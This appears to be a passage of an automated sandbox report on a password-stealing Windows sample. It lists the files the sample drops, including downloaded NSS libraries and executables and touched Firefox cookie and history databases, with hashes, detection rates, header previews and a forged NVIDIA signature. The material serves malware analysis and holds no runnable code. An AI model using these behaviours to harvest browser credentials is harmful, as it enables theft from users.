SHA-256:	D09CDD05DA4E3E875D3D5D66C542404519759ACDA2EFA7C00CA69AA3F6234DE4
SHA-512:	A372330793E09C661E6BF8B2C293C1AF81DE77972B8B4BA47055F07BE0FCDFE5E507ADBC53903A0CD90C392B36FE4A8A41D3FEA923AD97FA061DBEF65398EDF6
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	137
Entropy (8bit):	5.202653706100432
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WyMLDRJ4LNRLFS9Am12MFuAvOAsyQHxW+uCv:Q3La/xwchM3RJoDLIP12MUAvvR+uCv
MD5:	8A8F1E8A778DFF107B41EA564681FE7B
SHA1:	08EFCFDC3E33281B2B107D16B739B72AF4898041
SHA-256:	D09CDD05DA4E3E875D3D5D66C542404519759ACDA2EFA7C00CA69AA3F6234DE4
SHA-512:	A372330793E09C661E6BF8B2C293C1AF81DE77972B8B4BA47055F07BE0FCDFE5E507ADBC53903A0CD90C392B36FE4A8A41D3FEA923AD97FA061DBEF65398EDF6
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userAAAAKJKJEB.exe.log

Download File

Process:	C:\Users\userAAAAKJKJEB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	137
Entropy (8bit):	5.202653706100432
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WyMLDRJ4LNRLFS9Am12MFuAvOAsyQHxW+uCv:Q3La/xwchM3RJoDLIP12MUAvvR+uCv
MD5:	8A8F1E8A778DFF107B41EA564681FE7B
SHA1:	08EFCFDC3E33281B2B107D16B739B72AF4898041
SHA-256:	D09CDD05DA4E3E875D3D5D66C542404519759ACDA2EFA7C00CA69AA3F6234DE4
SHA-512:	A372330793E09C661E6BF8B2C293C1AF81DE77972B8B4BA47055F07BE0FCDFE5E507ADBC53903A0CD90C392B36FE4A8A41D3FEA923AD97FA061DBEF65398EDF6
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userCGCFCBAKKF.exe.log

Download File

Process:	C:\Users\userCGCFCBAKKF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.2318272874720075
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wx13C+t6kdlWOszUVMnfBrErV4rk/0kOp+ENJ/iHu/eGE/8d6y:vpmGSGwS+zlWOszrfurKrE0keTUeDWi
MD5:	EF8872DBB1E0DE26C4DAADB4E2BA1231
SHA1:	3D2931ACBF70418C2E5D997EFB92191A0AA1C370
SHA-256:	3C3473CD478011EF47A57B88EC6FDA2427C944085BBB929BBDE6ED88BA4CD624
SHA-512:	68AAFDCA48C3830D035FECEC97FECFBE11F7691561E53CD9B8C126BC0A9675056F807869F6248AD9E3D8F6DCF0A5D7CE8355490AEC7E2A09376AC0673A6392C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66e40b2e8a52e_lfsdj[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	329256
Entropy (8bit):	7.98532814553487
Encrypted:	false
SSDEEP:	6144:oI3b/s2lhUi8YnmKyLZrBjyw3iJNzR6jyj7gDcIP0AHiJ/e8s8Bx+rEEO:z3bE26YmKy15nMMujstc+qBxfEO
MD5:	5831EBCED7B72207603126ED67601C28
SHA1:	2BA46B54074675CC132B2C4EB6F310B21C7D7041
SHA-256:	02097348DB100EB22D46DC474A1078B5DDBB56EE916CC81F24FADD0A6938AC58
SHA-512:	A9924EF2373851156D981BC3C5B5D533E8B510ABF6C3F12E62AF0C019E740F0D077EFB8F7F93699D797335DF33013C72FD9EAD3B2253DD82F14B7B330FAACB8E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@............`.....................................K.......................(&... ....................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H...........(................................................................W.0.}..3.....q..X],Z%&..+...)e.....\\|...m.-..P,..A.B?.S...#...s0..l.5%.c+E.q..k.5..~..,......?9....-....Q....}H9...gV....+.@rp...m..OE.2...5=\.....b...>......w...mYj..rS....0h...}qK.e..z..R...nD........R..ClC.M\|..:.y.M.ku...Z..ee.E.^3..:6W=..:.h.d......i....G...e....5.......F5..%.u5.h...n..fh..<[.3.GK.>%~..`....yJhs..]..xTU:.4...T.?9...p......z?..R..m<e+..,..:K.-_...T\.s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\shbwdh[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	212008
Entropy (8bit):	7.965228354362745
Encrypted:	false
SSDEEP:	3072:yUd26oMw93Ix61HeP3OYfMylQR3iVhMQzQOKYTQ6GFaAio+qrOeJFhc7aKIC+zcX:9b+ZebiQkCQj0Lde6OKIPcOwDEO
MD5:	CD6646D9EDDB6ED8900B5BD9DA0597F2
SHA1:	D87CB53B2B10D804721C80894BCCBC989DF5ACAE
SHA-256:	743948A05FA7B9A001B346699BC9FD4D645B755BC7EF73802B2A139288910F24
SHA-512:	39060C059137FD3FD00405043E97608481BF2035090A0F5AAFEBEC84975C701296E9227F3E61977A14D9767830BE4CDF1B2FD36C443643B73EC135F438B8A8B6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................)... ...@....@.. ....................................`..................................(..W....@..................(&...`......\|'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......................................................................!.\|.0D..J.{.,.........3.OE.7.A.\|nc..r.P..)m\|1k...........#dz..k]..P..%K~`...S..~R:...zt... .x..T+.T..\>&.v.).-....Z.J..;&.....M.Uc{HB...Jz....D....\|@..p..@9..1.4;.gk..42.:..8.V.....S..z.(..n.0.'..c..3.l..r....-...../.f.&.....2.3.(.!99.....$..g.@F..+....[t...PbL.....5..]....X.-..p.....6.....E-.P"j.bQ..k.......p&...1.S...5...d,..!..s......u4.>.{.......S...$..0.lF8y..'.h.I._...Tp-.'Bt...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vnfdamfs[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	290344
Entropy (8bit):	7.979181707012112
Encrypted:	false
SSDEEP:	6144:mJFfT/jYUJeue8lIEZ1gZuTv+S89GOFEGT9GAES9EO:yXpw82e1gG1O+GT9fLEO
MD5:	449D3F0970FC9CD91A8F4BEA664A0CD6
SHA1:	2A2624A79AFAF0FCB01C44F8106C8BF8933106E0
SHA-256:	33DA286E78538E3F5EDA7B23C70578A1FDA8A5B98069BD269B8A6035BABE2B23
SHA-512:	E7888F333695F9FE1CDA7DB15F154A1261EC7CB1B67E6EFB9B5C19183F5B092BEA736CA768A60A5F102982A3C8E5EA1BD79035AB15F3DB37C104DAD9C5A48D33
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................<...........[... ...`....@.. ....................................`..................................Z..W....`...............H..(&..........\|Y............................................... ............... ..H............text....;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............F..............@..B.................Z......H........I..............................................................$...K......Y.+...p.........Q#.E..a.A3.b/{.g..2....h.%.....u...S...>I....P....^.{....{...d.l..t#.@.b.4.F.7.V....jz?...<.....N.#......@.H'.X.....n..E.H.hV.;H..Yg.}.}._.......%r:..KUt...<.V..M.c.......L.).b'.9..'...v..8."p.#..W.yp..m.W.G..6.. ......r}.)h.q9...&6.....`v.6l.l...!..@..Cn...p....6:b.36..Z.z1.^.^..c{.J...9#.&..pT..w.[HKs&..4."?i,n..5\|......fn..z.e..H..e......q...m.....A.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.133081594016209
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wuhthQeOiGnkiluzlQjBC1lclfWd/G1i5lyEAht+hl/gd:vpmGSGxLjOL3l0QlkyulG1i7OIzG
MD5:	F5E41B8019653F9D890F856E7042676E
SHA1:	2937DAD4D83DA14F8C6304277924C45004718F99
SHA-256:	447721844CB2D6066639FDA761EC369AABC28E9CBF883F60702A09FCC9FDA51F
SHA-512:	8CEF4C6BDEE2CBA6601E2B7302B05C7B9F63725D9B0DDA6656263A82E5F54C030211DCF7D747C1A222206C9E84DBBA25988A4AC9A5365E7DD6153A78E7D8F577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:ttt0:TG
MD5:	FE7858E98C122890F0650D9A369CE68B
SHA1:	B337146F52E6B31E95C58AED114BC6E66A42CCDC
SHA-256:	2E746E47FE1BA6A164A67DBEE0D8943EB2D8BD9FB1ADBFD1B72FFDAF5B5DC39D
SHA-512:	249B529D5AB7F9F8C1FE3F6A23B5FEBF811071E88F9D72A9AE1200980FBC3C74BD5C2BE4BF22CF474C5DC263820CD24E23153F9DA49645FE0CCB113745F8F574
Malicious:	false
Preview:	9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\userAAAAKJKJEB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1520
Entropy (8bit):	4.0567206954058515
Encrypted:	false
SSDEEP:	24:AfVti9hXLObzK9t6Gchl2uNZFJemT3wGJACQCuNvywyczi7xgFv:uVti9hXs46Gchl2uNZFJemT3wGKGavy0
MD5:	7332340C66690D2E093DBBA4EAA37B13
SHA1:	48580839911897F40E7DE91144B13EA82250B164
SHA-256:	64A8A77A806C432D717B3561FBE55600ABF0267B822B2EDAA000585FECCA2E3C
SHA-512:	290C28D236FD5420C48C6F02CBE6E62EBD42B13DAFE061963BE3BC698284082D3F986A1FDE564EB184ECCAC66E7B12A99B63F1F478110A285F66AF63FAC8B193
Malicious:	false
Preview:	Person 0..98..Person 1..66..Person 2..66..Person 3..81..Person 4..93..Person 5..42..Person 6..51..Person 7..73..Person 8..82..Person 9..13..Person 10..10..Person 11..105..Person 12..48..Person 13..95..Person 14..40..Person 15..37..Person 16..47..Person 17..16..Person 18..43..Person 19..103..Person 20..1..Person 21..96..Person 22..11..Person 23..14..Person 24..88..Person 25..47..Person 26..76..Person 27..92..Person 28..21..Person 29..41..Person 30..8..Person 31..78..Person 32..60..Person 33..69..Person 34..70..Person 35..42..Person 36..70..Person 37..49..Person 38..10..Person 39..93..Person 40..26..Person 41..54..Person 42..32..Person 43..83..Person 44..105..Person 45..40..Person 46..27..Person 47..2..Person 48..62..Person 49..32..Person 50..81..Person 51..75..Person 52..97..Person 53..32..Person 54..27..Person 55..2..Person 56..55..Person 57..51..Person 58..100..Person 59..45..Person 60..74..Person 61..66..Person 62..51..Person 63..40..Person 64..5..Person 65..39..Person 66..45..Person

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.979332386516601
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe
File size:	290'344 bytes
MD5:	84b2300ab93eb2fd79533bbfcbbbf593
SHA1:	edcbb41928f68948a00c547411fbd3d6f9c3eddb
SHA256:	b1d00f55f9cc0198600fedd50b25b881dd010f8d027b68e9cfb870314b43022b
SHA512:	7241ddbb33ede3e2a1e9b056cddacd5a69120fbb5c015336ac56fef9ec1aa4ba1178c1d007ade06e578cd0b040bf23f56da135f631f6d2629f0a78c18cb9866a
SSDEEP:	6144:sVwuwbUip1v3SB7qDGRFNJpAwG/TIq41RcArwEO:xU83SxqDYFNJpAwG/T0RcawEO
TLSH:	135423B10ED159A7FF994235B4E28345DA32E763BD9294DA2804C32AF357F2C27B1718
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................<...........[... ...`....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x445b0e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E6E5DD [Sun Sep 15 13:49:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x45ab4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x46000	0x608	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x44800	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4597c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x43b14	0x43c00	703f07090773bfcf39505ea9760dc210	False	0.9925550622693727	SysEx File -	7.993688906585277	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
